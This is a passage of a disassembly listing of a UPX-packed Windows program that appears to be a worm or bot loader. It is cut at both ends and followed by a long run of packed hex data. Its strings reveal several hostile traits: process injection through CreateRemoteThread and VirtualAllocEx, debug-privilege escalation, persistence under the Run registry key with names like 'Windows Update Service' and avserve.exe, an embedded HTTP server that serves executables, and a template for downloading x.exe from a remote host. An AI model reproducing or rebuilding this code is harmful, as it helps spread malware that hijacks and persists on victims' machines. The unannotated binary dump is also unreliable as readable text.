short loc_31434CA2 ; --------------------------------------------------------------------------- align 10h loc_31434CA0: ; CODE XREF: UPX0:loc_31434C98j ; DATA XREF: sub_314319BC+5Co pop esp pop esp loc_31434CA2: ; CODE XREF: UPX0:31434C9Aj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_31434CAC dd 1CEC8166h ; DATA XREF: sub_314319BC+Dr dword_31434CB0 dd 0E4FF07h ; DATA XREF: sub_314319BC+1Cr aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31431F23+62o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31431F23+39o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31431F23+2Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31431F23+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31431F23+8o ; sub_3143256D+13Ao align 4 aUterm192 db 'uterm19-2',0 ; DATA XREF: sub_31431FAB:loc_31432090o align 4 aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_31431FAB+58o align 4 aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_31431FAB:loc_31431FF2o align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_31431FAB+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_31431FAB+18o align 4 dword_31434D64 dd 0E9F3F5h ; DATA XREF: sub_31432239+112o aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31432239+106o db 0Dh,0Ah db 0Dh,0Ah,0 align 10h aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_31432239+85o db 0Dh,0Ah,0 align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31432239+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 4 aGet db 'GET',0 ; DATA XREF: sub_31432239+3Do aUterm20 db 'uterm20',0 ; DATA XREF: UPX0:3143250Co ; sub_3143256D+148o aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:314324F7o align 10h aUser32 db 'user32',0 ; DATA XREF: sub_3143256D+141o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_3143256D+133o align 10h aWininet db 'wininet',0 ; DATA XREF: sub_3143256D+12Co aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_3143256D+11Fo align 10h aU20x db 'u20x',0 ; DATA XREF: sub_3143256D+CBo align 4 aU20 db 'u20',0 ; DATA XREF: sub_3143256D+C4o aU19 db 'u19',0 ; DATA XREF: sub_3143256D+BDo aU18 db 'u18',0 ; DATA XREF: sub_3143256D+B6o aU17 db 'u17',0 ; DATA XREF: sub_3143256D+AFo aU16 db 'u16',0 ; DATA XREF: sub_3143256D+A8o aU15 db 'u15',0 ; DATA XREF: sub_3143256D+A1o aU14 db 'u14',0 ; DATA XREF: sub_3143256D+9Ao aU13i db 'u13i',0 ; DATA XREF: sub_3143256D+93o align 4 aU13 db 'u13',0 ; DATA XREF: sub_3143256D+8Co aU12 db 'u12',0 ; DATA XREF: sub_3143256D+85o aU11 db 'u11',0 ; DATA XREF: sub_3143256D+7Eo aU10 db 'u10',0 ; DATA XREF: sub_3143256D+77o aU9 db 'u9',0 ; DATA XREF: sub_3143256D+70o align 10h aU8 db 'u8',0 ; DATA XREF: sub_3143256D+69o align 4 aU19x db 'u19x',0 ; DATA XREF: sub_3143256D+62o align 4 aU18x db 'u18x',0 ; DATA XREF: sub_3143256D+5Bo align 4 aU17x db 'u17x',0 ; DATA XREF: sub_3143256D+54o align 4 aU16x db 'u16x',0 ; DATA XREF: sub_3143256D+4Do align 4 aU15x db 'u15x',0 ; DATA XREF: sub_3143256D+46o align 4 aU14x db 'u14x',0 ; DATA XREF: sub_3143256D+3Fo align 4 aU13x db 'u13x',0 ; DATA XREF: sub_3143256D+38o align 4 aU12x db 'u12x',0 ; DATA XREF: sub_3143256D+31o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_3143256D+2Ao align 4 aU10x db 'u10x',0 ; DATA XREF: sub_3143256D+23o align 4 aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_314328D7+2Do align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_3143237F+23o ; sub_31432BAD+66o ... align 4 aCryptographicS db 'Cryptographic Service',0 ; DATA XREF: sub_3143237F+1Co ; sub_31432C62+87o ... align 10h aKklltovbhc db 'kklltovbhc',0 ; DATA XREF: sub_31431782+4Fo ; sub_31432D2E+57o ... aRt db 'rt',0 align 10h dd 2 dup(0) aSoftwareMicr_1 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_31432D2E+32o aClient db 'Client',0 ; DATA XREF: sub_31432D2E+BCo ; sub_31432D2E+F8o align 4 aId db 'ID',0 ; DATA XREF: sub_31432D2E+37o ; sub_31432D2E+75o align 10h aWindowsUpdate db 'Windows Update',0 ; DATA XREF: sub_31432BAD+55o align 10h aMsConfigV13 db 'MS Config v13',0 ; DATA XREF: sub_31432BAD+4Eo align 10h aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_31432BAD+47o align 4 aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_31432BAD+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_31432BAD+39o align 10h aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_31432BAD+32o align 4 aSystray db 'SysTray',0 ; DATA XREF: sub_31432BAD+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_31432BAD+24o align 10h aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_31432BAD+1Do align 4 aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_31432BAD+16o align 4 aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_31432BAD+Fo align 4 a1: ; DATA XREF: sub_31432D2E+B7o unicode 0, <1>,0 dd 7 dup(0) dword_31435028 dd 0 ; DATA XREF: sub_31432239+C7r ; sub_3143237F+80w dword_3143502C dd 0 ; DATA XREF: sub_31431782+43r ; sub_3143185D+53o ... dword_31435030 dd 0 ; DATA XREF: sub_31432239+79r ; sub_31432239:loc_314322E7r ... dword_31435034 dd 44h ; DATA XREF: sub_31431FAB+C2r ; UPX0:31432517w ... dword_31435038 dd 0 ; DATA XREF: sub_31432559+2r ; sub_3143256D+DCw dword_3143503C dd 0 ; DATA XREF: sub_3143237F+E0w ; sub_314328D7+20r dword_31435040 dd 31430000h ; DATA XREF: sub_31431FAB+6r ; UPX0:314324FCw dword_31435044 dd 0 ; DATA XREF: sub_31431782+49r ; sub_3143185D+4Ao ... dword_31435048 dd 0 ; DATA XREF: sub_3143141F+30Er ; UPX0:31432974w ... dword_3143504C dd 0 ; DATA XREF: sub_3143141F:loc_31431744o ; sub_31432728+41r ... dword_31435050 dd 0 ; DATA XREF: sub_31432D2E+25w ; sub_31432D2E+110w align 1000h UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00006000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31436000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31436000 dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h ; DATA XREF: UPX1:31437C81o dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 736C0100h dd 70637274h, 1004179h, 61657243h, 76456574h, 41746E65h dd 61570100h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h dd 44010074h, 74656C65h, 6C694665h, 1004165h, 4C746547h dd 45747361h, 726F7272h, 72570100h, 46657469h, 656C69h dd 6F6C4301h, 61486573h, 656C646Eh, 72430100h, 65746165h dd 656C6946h, 6C010041h, 6C727473h, 416E65h, 74736C01h dd 74616372h, 47010041h, 79537465h, 6D657473h, 65726944h dd 726F7463h, 1004179h, 65746E49h, 636F6C72h, 4564656Bh dd 61686378h, 65676Eh, 74654701h, 61636F4Ch, 6E49656Ch dd 416F66h, 656C5301h, 1007065h, 7274736Ch, 6E797063h dd 47010041h, 75437465h, 6E657272h, 6F725074h, 73736563h dd 65470100h, 6F725074h, 64644163h, 73736572h, 6F4C0100h dd 694C6461h, 72617262h, 1004179h, 74697257h, 6F725065h dd 73736563h, 6F6D654Dh, 1007972h, 6E65704Fh, 636F7250h dd 737365h, 74654701h, 75646F4Dh, 6148656Ch, 656C646Eh dd 47010041h, 69547465h, 6F436B63h, 746E75h, 65724301h dd 4D657461h, 78657475h, 43010041h, 74616572h, 72685465h dd 646165h, 65724301h, 50657461h, 65636F72h, 417373h, 74655301h dd 6E657645h, 4F010074h, 456E6570h, 746E6576h, 45010041h dd 54746978h, 61657268h, 49010064h, 7265746Eh, 6B636F6Ch dd 6E496465h, 6D657263h, 746E65h, 61655201h, 6C694664h dd 47010065h, 69467465h, 6953656Ch, 100657Ah, 74697845h dd 636F7250h, 737365h, 0D100h, 0 dd 65520100h, 65724367h, 4B657461h, 78457965h, 52010041h dd 65536765h, 6C615674h, 78456575h, 52010041h, 75516765h dd 56797265h, 65756C61h, 417845h, 67655201h, 6E65704Fh dd 4579654Bh, 1004178h, 44676552h, 74656C65h, 6C615665h dd 416575h, 67655201h, 736F6C43h, 79654B65h, 62410100h dd 5374726Fh, 65747379h, 7568536Dh, 776F6474h, 100416Eh dd 70797243h, 65724374h, 48657461h, 687361h, 79724301h dd 61487470h, 61446873h, 1006174h, 70797243h, 72655674h dd 53796669h, 616E6769h, 65727574h, 43010041h, 74707972h dd 74736544h, 48796F72h, 687361h, 79724301h, 65447470h dd 6F727473h, 79654B79h, 72430100h, 52747079h, 61656C65h dd 6F436573h, 7865746Eh, 43010074h, 74707972h, 75716341h dd 43657269h, 65746E6Fh, 417478h, 79724301h, 6D497470h dd 74726F70h, 79654Bh, 0DE00h, 0EC00h, 72730100h, 646E61h dd 6D656D01h, 797063h, 72747301h, 6E656Ch, 6D656D01h, 746573h dd 6E617201h, 5F010064h, 65637865h, 685F7470h, 6C646E61h dd 337265h, 72747301h, 727473h, 6F746101h, 73010069h, 68637274h dd 0E9000072h, 14000000h, 1000001h, 646E6946h, 646E6957h dd 41776Fh, 74654701h, 65726F46h, 756F7267h, 6957646Eh dd 776F646Eh, 65470100h, 6E695774h, 54776F64h, 61657268h dd 6F725064h, 73736563h, 1006449h, 72707377h, 66746E69h dd 0F4000041h, 28000000h, 1000001h, 65746E49h, 74656E72h dd 6E65704Fh, 416C7255h, 6E490100h, 6E726574h, 704F7465h dd 416E65h, 746E4901h, 656E7265h, 6F6C4374h, 61486573h dd 656C646Eh, 6E490100h, 6E726574h, 65477465h, 6E6F4374h dd 7463656Eh, 74536465h, 657461h, 746E4901h, 656E7265h dd 61655274h, 6C694664h, 65h, 40000001h, 0FF000001h, 2FF0073h dd 0DFF00h, 0FF0001FFh, 6FFF0039h, 34FF00h, 0FF0017FFh dd 9FF000Ch, 4FF00h, 0FF0013FFh, 16FF0010h, 3FF00h, 0 dd 455000h, 2014C00h, 0E07ED200h, 40h, 0 dd 0F00E000h, 6010B01h, 280000h, 120000h, 0 dd 24EF00h, 100000h, 400000h, 43000000h, 100031h, 20000h dd 400h, 0 dd 400h, 0 dd 600000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 2F0400h, 8C00h, 14h dup(0) dd 100000h, 18000h, 6 dup(0) dd 65742E00h, 7478h, 263200h, 100000h, 280000h, 40000h dd 3 dup(0) dd 4002000h, 61642EE0h, 6174h, 105400h, 400000h, 120000h dd 2C0000h, 3 dup(0) dd 4000h, 5000C0h, 311000h, 54C900h, 57965900h, 6849FAFAh dd 0B7000E29h, 844F4CCFh, 0A2623FE0h, 0DC24106Ah, 0DED1BA53h dd 44810B66h, 5F0DC766h, 0B73BD68h, 0E4D6E6CDh, 0DE196664h dd 164C2621h, 0FC5644DEh, 31E07589h, 51B36968h, 3EA2E2Eh dd 0C8BF9C37h, 0E89C3A7h, 6CD8E087h, 770D7C13h, 0A8433716h dd 18D3B345h, 9B6BDB07h, 0F88C0D0Bh, 49190640h, 73F27046h dd 6A9821CDh, 4634332Eh, 17273C8h, 37E0DE64h, 3010CCDFh dd 8C0F4608h, 0D0BD8027h, 740B89E5h, 0C5803126h, 43089D01h dd 0D0EECD70h, 0BC3C0007h, 115690F0h, 0B66061EEh, 0AA425F0Ch dd 0C1FF15Ch, 11784396h, 0C9EC0CB3h, 9705C87Ch, 0F8786E0Ah dd 894BE6A1h, 25620546h, 0DA46568h, 0AEC28B6Dh, 92A2043Bh dd 3CF01Ch, 27BE83Bh, 100BC86Ah, 4824A32Eh, 86024A19h dd 0A0CF6043h, 2163390h, 0B9AEBB03h, 0A73D7D95h, 769F6801h dd 664A48E6h, 3A21B736h, 1B5AB7CCh, 3DB9A4E0h, 6A7684E4h dd 96F42A70h, 364719B4h, 5EC86007h, 7A97640Ah, 39F0D92Eh dd 0A2280084h, 3C4B283Fh, 0CDCB59B2h, 98B9B26Ch, 23BDEBE2h dd 0DC0167A7h, 0C77E500Fh, 0BE1F218Dh, 0AC68F60Eh, 0D328C00Dh dd 0C676E6C9h, 0E57A08A1h, 0DB0C7A04h, 0C8611488h, 2DC54C20h dd 6C84BF34h, 2EDB1CD6h, 0B698DE40h, 4192FC84h, 40BCDE44h dd 0C27190D6h, 1BDE5044h, 593B1E10h, 94B7336Fh, 8121970Dh dd 67E9ACF9h, 0E87CFEEBh, 1624A580h, 68250600h, 259D1C52h dd 1CF25B07h, 96F41276h, 0A19DE9C3h, 4F0CEF1Bh, 7BC87C6Ah dd 64B1E3C3h, 0C9BE4934h, 991DD27Bh, 90E154E4h, 0B42DE924h dd 48B9B999h, 0EDCF7881h, 0C80A5848h, 0CF88286h, 6633F415h dd 2665846h, 7808747Ah, 41BA9D5Fh, 5FF4C65Eh, 7D1C0F8Ah dd 9C1369E0h, 0AC204D0Ch, 0C0A8357Fh, 5F68683h, 572448F8h dd 565FC937h, 5A7457D8h, 74F80E14h, 0B8C8684Bh, 0CA8950BAh dd 0E83D7496h, 4B4B3F6Ch, 0A44120C9h, 0FFC55FFh, 0F6B9ADE8h dd 50E4B92Ch, 0E9628ACh, 0CCDA6AD9h, 0F81B02F0h, 0E48C0009h dd 81DB40ACh, 42F47558h, 29C587EEh, 8B181F13h, 6701400Dh dd 0BFEEFFB6h, 3C418B2Fh, 68C10357h, 488B9758h, 50788B34h dd 0A0F44D89h, 8D759CB8h, 1BDBD84Bh, 0BEF09153h, 0B002F0ACh dd 4751EB01h, 0ED74EC12h, 1AC55A0Ch, 0D7240Dh, 9300CA82h dd 18090E6Dh, 0B22ECDEh, 0F84DAFDFh, 1C185051h, 412A6897h dd 8958D8ABh, 60FE5DB4h, 0CAD2C68Bh, 1C346B03h, 0B7680630h dd 59AB1976h, 0BE7DF055h, 135BAB62h, 0F03E45E6h, 0DC50EF51h dd 34EC5F13h, 34A110B0h, 0FFFAD6BDh, 172783C4h, 5577D06Ah dd 74C73BECh, 805F8C78h, 1BEB1605h, 684D1868h, 3959E010h dd 0E5CC857h, 8D405FCh, 0F8041D74h, 0FC58EFA2h, 4251511Dh dd 2F0DC32Bh, 69310F60h, 41B60D10h, 0BC258964h, 22B1AFDDh dd 138575D6h, 590FECB2h, 5D33DB2Dh, 6AF9C267h, 803CC0B6h dd 624EE90Ch, 50A85089h, 0C42C507Dh, 0AC297488h, 8020195Dh dd 0B3F8B55Bh, 7C8B5743h, 57D21424h, 67FFF7Eh, 1A87178Bh dd 8861C280h, 3B461E14h, 80E97CF7h, 0E030E036h, 4A003B24h dd 86444954h, 2EDB78CEh, 57AC5A5Fh, 2166DB56h, 303A5DCh dd 0F0DC732Fh, 25B81950h, 648D62h, 0E377ACAAh, 954D04F0h dd 49F408C8h, 0DBA32668h, 0F00CFADAh, 3408C7FFh, 0DA65B27Bh dd 2E2ACC34h, 0A0A7550h, 666B5CE8h, 1A20BC54h, 0B7ED5818h dd 7C64F85h, 13B7FB8h, 0C408B14h, 2C01008Bh, 86F8E76h dd 24448D51h, 1134215Fh, 9A7C2D3h, 245903DBh, 0BBD01507h dd 7743A19Eh, 2FCC2007h, 3233E433h, 0F8C83FDBh, 8510E7C1h dd 0A05B60Bh, 200CD86h, 0CF125D8Bh, 1C0BABECh, 7FC20099h dd 7B55C653h, 139E2416h, 0C0934521h, 25AAECF0h, 6E5D868h dd 5B4ECF20h, 17B5ADE7h, 675641F0h, 35953336h, 0A33D986Ch dd 8CC6EC66h, 503044B7h, 0B370FE47h, 4D80C581h, 0EBDA14A5h dd 54B3174Eh, 0A134007Ch, 37FBAE33h, 7900B9F0h, 0C13BC72Bh dd 0C18B0272h, 0FC292BE1h, 0A1DDBDDDh, 0C7031828h, 1374AC23h dd 1172233Dh, 4678516Ah, 40F8784Bh, 0EC13C4EBh, 0E1B462D9h dd 0D8117750h, 0DC9A941Eh, 68159E4Dh, 68030B68h, 9B6B3A64h dd 3A3C97C5h, 8F535453h, 52CC7D18h, 9824D483h, 0C423347Dh dd 30DE04C2h, 4FB2F457h, 0B1B1087Dh, 0E868C3D0h, 168EE4Eh dd 0B8BAAFDEh, 89FF6806h, 0ED04841Dh, 0D4244BA9h, 539100F2h dd 9886937Bh, 3A01026Dh, 1CD680A6h, 0FD775A8Dh, 0E741A4Dh dd 2F6946CFh, 0CA3E0CDh, 0ACEF4BC2h, 0A4FEA365h, 565153FCh dd 635B3A5Bh, 68DC3A86h, 87DF2656h, 5EF9119Bh, 10C25C19h dd 1B4D424Ch, 56C05E05h, 9DFD0C4Bh, 89E8D2F4h, 50DEC5Dh dd 1FFF25FFh, 0BEEC1BFDh, 0A3C33A04h, 0E774433Ch, 84CC8A1Fh dd 50DF74C9h, 937ABE3h, 5F42EA6Bh, 4C85A544h, 646530B7h dd 0B97B480Ch, 5F7D35FBh, 1FD814F8h, 68B1114Ch, 0D9C22239h dd 9111D5Bh, 53E2EB62h, 0CC455FCFh, 4384B982h, 0B6700190h dd 0AE3AF759h, 0D6B03340h, 36023E11h, 0E687A60Fh, 0B8803AD6h dd 3044E468h, 0A3AB1B63h, 7C74E040h, 4AB27633h, 34A37B69h dd 767B781Ah, 0B73D6182h, 29E44552h, 43041F0Fh, 1BB37D9Ch dd 682A1DA9h, 0A713256Dh, 13ED7ED1h, 1586EB0Dh, 35699969h dd 0AC188438h, 397044C6h, 4B104D40h, 0D290E409h, 3372396Ch dd 88454ADCh, 8C06EF9Ch, 238C9094h, 941C8E47h, 9C7C9884h dd 0E472A074h, 0A46C91C8h, 0AC5CA864h, 1C8E4754h, 0B450B039h dd 0BC48B84Ch, 91C8E444h, 0C440C023h, 8E34C83Ch, 0CC72391Ch dd 0D42CD030h, 0C724D828h, 0DC472391h, 0E41CE020h, 76CD9018h dd 9C10C780h, 0A36CE145h, 7ADB72F1h, 2FCBEECh, 730A8384h dd 0B806ED12h, 4F8442B4h, 59B8885h, 9B0CFF59h, 0EBD9C870h dd 0B00E1AE8h, 0E0F91A6Ah, 95391A17h, 8683974h, 32ACB94Eh dd 45936C72h, 0F8064E00h, 21760C4Dh, 0A8F07261h, 49BF140Ah dd 79B7676Eh, 0EF15237Fh, 0F1185D0Ah, 33C822E0h, 559C5029h dd 0D747E90Fh, 18B4146Dh, 0AA138806h, 1412E3EBh, 17A7049Eh dd 0DBA3BD23h, 63123818h, 7FA48071h, 8FD5BDh, 458A4FBBh dd 0FF77530Bh, 83DBDB32h, 3A518701h, 5D3831D9h, 0E93125DBh dd 5D88E291h, 0B8099D0Bh, 80CF1559h, 4CB72CDFh, 0F1F7D233h dd 0FE9BD103h, 0CB65EBC3h, 0FFFB80F8h, 60C6BD72h, 1C0F5674h dd 7A303876h, 41586667h, 4F870ADBh, 40A7F05h, 3B6B3618h dd 9A0B0918h, 17692573h, 0F758BECh, 37272804h, 0AC01D0C8h dd 8147822Bh, 6CE27695h, 4C9FA16Ah, 7A595D5Eh, 2CD74CAEh dd 0F0A26472h, 7832DB7Ch, 0FD720A2Eh, 35F8FF04h, 0FEF42Fh dd 0F7887F3Ch, 0B18BB06Ah, 4D8B6C3h, 0A9DCFD3Bh, 0EC04A23Eh dd 579F6764h, 9B572F9Dh, 4B3DB21Ch, 1359F8E0h, 4A36FF8Ah dd 0B2C54ADCh, 68FCEE75h, 0C8EC3C27h, 0BDD3A21Ah, 70849ED3h dd 1C180961h, 4C5AA537h, 52AD630h, 508FCC4Fh, 18B6BD78h dd 0FC68BAE3h, 67B7C156h, 0B3C443Eh, 0A468B003h, 0DCB71E4Eh dd 11104580h, 6842E231h, 12F7D70h, 0B80C613h, 0C0B343DFh dd 5579BB02h, 8E579756h, 663C344h, 4D1DE6BCh, 30E26CA4h dd 0FD1F0C43h, 53146CF4h, 483776CDh, 20BF66Bh, 4838506Ah dd 76D9A65Dh, 0D005C7DFh, 1974F896h, 9D01480Bh, 0BDDCCE60h dd 141A055Eh dd 0E103D851h, 1806DE27h, 0C9FB81D3h, 0D6530D74h, 0B6844203h dd 1D1053C7h, 0DB04C3Bh, 1824C37Dh, 0ED85ED3Ch, 10B1117Eh dd 0EED82C28h, 144DEDB0h, 0A40598EFh, 200DF2EBh, 75324B74h dd 6DDEB65h, 0EB45C0B0h, 27D53F68h, 60B11BA2h, 0B5150C64h dd 43A5106Fh, 14083BE8h, 6CD7513Bh, 18D4C859h, 18430856h dd 31883EF6h, 3D566C2Eh, 0A52ADC74h, 4DE702DBh, 2050DF61h dd 4E05B110h, 3081896h, 6B0F5EB6h, 557E2CD1h, 0FAEDC68Bh dd 6764C82Eh, 532C56ADh, 67005556h, 270C422Dh, 0C520A31h dd 2C81C931h, 0C45D0C04h, 0BB679061h, 0E0530128h, 0F40B89FBh dd 8E3D4E2Dh, 1E3C4094h, 1F10365Ch, 794E7A1Ch, 0F8E510F7h dd 0EB778B64h, 687AA239h, 17D86635h, 0B13B3Bh, 2005C710h dd 0A24F7789h, 7DF21E99h, 1E748D47h, 0BD02609Bh, 0AE48FCA2h dd 0FE8194DCh, 0B5FF1C2Ah, 0FFF51EFh, 0E6CCCD1Fh, 60085282h dd 0D5CCE50h, 76EC4687h, 3CB787BDh, 89D0D036h, 0B457E273h dd 23914FECh, 6D846C7h, 0B4D8C0D4h, 0C8E47239h, 0A0E0ACDCh dd 7CE888E4h, 1C8E4730h, 50F060ECh, 45F340F4h, 86B764D3h dd 0BE70BF0Bh, 8B858E85h, 188B8A05h, 0A0406C49h, 8357C491h dd 0F4D50E17h, 1D101B05h, 8340F10Bh, 326A8452h, 0A775BFAFh dd 4D84628Ah, 74767830h, 5D74B409h, 653FA8CCh, 0A5636A88h dd 0FE0B84C8h, 28A19C09h, 8303E083h, 866305C0h, 5BD3CAA3h dd 51CFC42Ah, 10B9186Eh, 661C3D1Eh, 0D6CE9DEEh, 3F140E26h dd 3D9A0497h, 0D56150E8h, 1425A00Bh, 0CD4B4D21h, 0D2415662h dd 7D09E592h, 19419836h, 0C401F454h, 2E987A04h, 0AB8BE407h dd 0B408B9F6h, 481FC523h, 436839C7h, 2565140Ch, 84102550h dd 0E04DBFDDh, 0BF501D6Ah, 3C4C4F18h, 0C1D0514Fh, 743F81EAh dd 0BB0A3D37h, 32BD758Ah, 53D942B3h, 60D8B3F4h, 53BC4906h dd 0BDB3383Dh, 0EBB17EE6h, 32CE590Fh, 65B068B6h, 0E227A0C1h dd 0D12A0E65h, 58C22638h, 0D9B9DA18h, 0BB4634B2h, 5E1C0DB9h dd 0EB05066h, 57125E1Eh, 964EC6F0h, 0C6314CEEh, 0B6413BBBh dd 2CFD90CCh, 90B650B6h, 480718B7h, 6015EB0Ch, 2D1880E5h dd 0AF2509CDh, 5D32BA1Eh, 44330C69h, 0EC5B3D5Ch, 6A7E6883h dd 0CC401113h, 84D0A99Bh, 311BFF00h, 661DF805h, 0F4109E46h dd 0BE511FF0h, 0B048D56Fh, 1472048Dh, 2D0BE981h, 0FD8FEDF5h dd 17018504h, 0C82BEC73h, 8B0CC48Bh, 0D8088BE1h, 0FF6ED6C8h dd 435C5004h, 4055C64h, 58D8D800h, 0A3000049h, 420900A8h dd 6C5D2FCh, 5224F102h, 80314153h, 0FFFFFFC8h, 0F50101DDh dd 7911838Dh, 0E42AEC52h, 49E7F63Ah, 0BEE0EA9Bh, 7EDB21AFh dd 5E1A9544h, 0FFFFFFE8h, 85A03261h, 949F6A1Fh, 843994FFh dd 358F26A6h, 0A55C1DCEh, 7AB20BC9h, 0FF307265h, 377FFFFFh dd 697A6F4Dh, 2F616C6Ch, 20302E34h, 6D6F6328h, 69746170h dd 3B656C62h, 49534D20h, 0ED6FFFF7h, 15362045h, 6E695709h dd 73776F64h, 20544E20h, 29312E35h, 2EECF734h, 0C7E445h dd 0C40104D4h, 0F7DF0EB4h, 90A0CF3Ch, 68047480h, 0CF3D580Eh dd 48097CF3h, 30D4743Ch, 9364DF3Ch, 10222045h, 0B600304Ah dd 0F8F90DFFh, 76631340h, 75722E76h, 0D8DB777Eh, 700D6F6h dd 976C6465h, 0C1660F65h, 0EDFFCA65h, 616573FDh, 0E686372h dd 626F721Fh, 6863786Fh, 6F676E61h, 0D2E6EDFFh, 0C74651Fh dd 622E6472h, 61007A69h, 6B686328h, 91B61762h, 740C6D61h dd 24782D06h, 0E6EDB6CDh, 6F6C0600h, 6B37620Eh, 0FBDBF647h dd 27626B6h, 76742E7Ah, 6F74111Bh, 176E2E70h, 30B60215h dd 27730F69h, 3FC2E33h, 0F788DB6h, 6C756461h, 4B652D74h dd 6DDB7269h, 3380CDFBh, 73A66E6Fh, 622E744Eh, 2B01F767h dd 67694F7Ch, 77780032h, 0FECE2C61h, 626AED6Dh, 9B00AD62h dd 6166617Ah, 221F2EA8h, 655DDBE1h, 61AF5C23h, 0F1646362h dd 65FFDBB7h, 69686766h, 6D6C6B6Ah, 7271C56Eh, 777675F7h dd 0FF7A7978h, 54BFFFF2h, 44434241h, 48474645h, 4C4B4A49h dd 504F4E4Dh, 56555451h, 5A595857h, 1B9BFBF8h, 49642563h dd 6F530044h, 5C9E7466h, 706C694Dh, 0F90656BBh, 0DA575C0Dh dd 0FE007374h, 4774E30Fh, 74684F31h, 2F3A7074h, 0C273252Fh dd 0BC0EE6Fh, 2EC3912Fh, 3F706870h, 0EDF9ED3Ah, 260F3DDBh dd 66E6373h, 6E692664h, 0F3B7666h, 3DF6EC76h, 13263032h dd 0EB373D74h, 32313958h, 0BF87B237h, 3101D06Bh, 3030383Ah dd 0DF07652Fh, 80FFFF00h, 5DDF1030h, 0B966C933h, 758D01EEh dd 8AFE8B05h, 6FFFE206h, 7993CDBh, 302C0646h, 88993446h dd 0EDE24707h, 0DAE80AEBh, 0B46FF7FEh, 676507DFh, 9993712Eh dd 0FD1201C9h, 16FD91BDh, 0DFFFEFF7h, 6872C107h, 66FD42AAh dd 0BA10FDAAh, 98A91C14h, 98F3C91Ah, 0FFB308F1h, 2865BB1h dd 9010C071h, 9237CB5Fh, 781C9659h, 0F93ED3Ah, 57E414FBh dd 3A0A7D71h, 9DF34571h, 9D2304F1h, 989BEFBh, 119C04F1h dd 0EF67B340h, 0F3FD8EEDh, 1C10F0E3h, 59B20BDCh, 25C99B60h dd 3D8F9601h, 414D9F6h, 71CA17A1h, 688D2B9Eh, 0EDAD9161h dd 1A4637B3h, 111D960Ah, 0C850B228h, 6D9FED00h, 0DC14996Fh dd 12255557h, 91C0A44Eh, 0FD994912h, 0EDDEDFECh, 140054F7h dd 0CBCA3AC4h, 0FF1C3B71h, 6C21E424h, 1ADD87B3h, 8FCDCDCFh dd 3F812C66h, 0FBB66F1Eh, 0B8B0FB9Fh, 12CDC383h, 0CBC9A85Dh dd 7F64251Dh, 24AD9DB2h, 0A6485A0Bh, 0B314C096h, 1BC9FECBh dd 0EBA7294Ch, 0E9BA9CF3h, 0D9FFF716h, 26F434F7h, 0EFCF571h dd 0EF133BF9h, 376B4629h, 4766DE5Fh, 766FFFEFh, 16A0A8ECh dd 0FFC5B701h, 0E9ECE9EDh, 0E1FCB7FDh, 0FBBFD2Ch, 0F5CA0161h dd 0F25AFCFCh, 0FCF7EBFCh, 0FFABAAF5h, 0D6BFFFE5h, 0AAF934C7h dd 2A25B459h, 0ACC9662Ah, 0B7819093h, 83639D90h, 9271CDC9h dd 67F0BEECh, 3519BF30h, 95D91451h, 2A91720Ah, 0FFFBC871h dd 0D2EB20FFh, 80D512A5h, 0AA529AE1h, 2A8D146Fh, 12B9C89Ah dd 474A9A8Bh, 46FEDFFFh, 9BAB9EEBh, 20A319DBh, 0DDA26CECh dd 9EED85BDh, 81E8A2DFh, 0FDBFFFCDh, 125544EBh, 961FBDC8h dd 12EB8D2Eh, 5A9A85D8h, 9A099D12h, 0BBF8105Ah, 960B09FFh dd 664922D0h, 12FEFD7Fh, 0C25AA987h, 6EDB4095h, 1285026Fh dd 5A910482h, 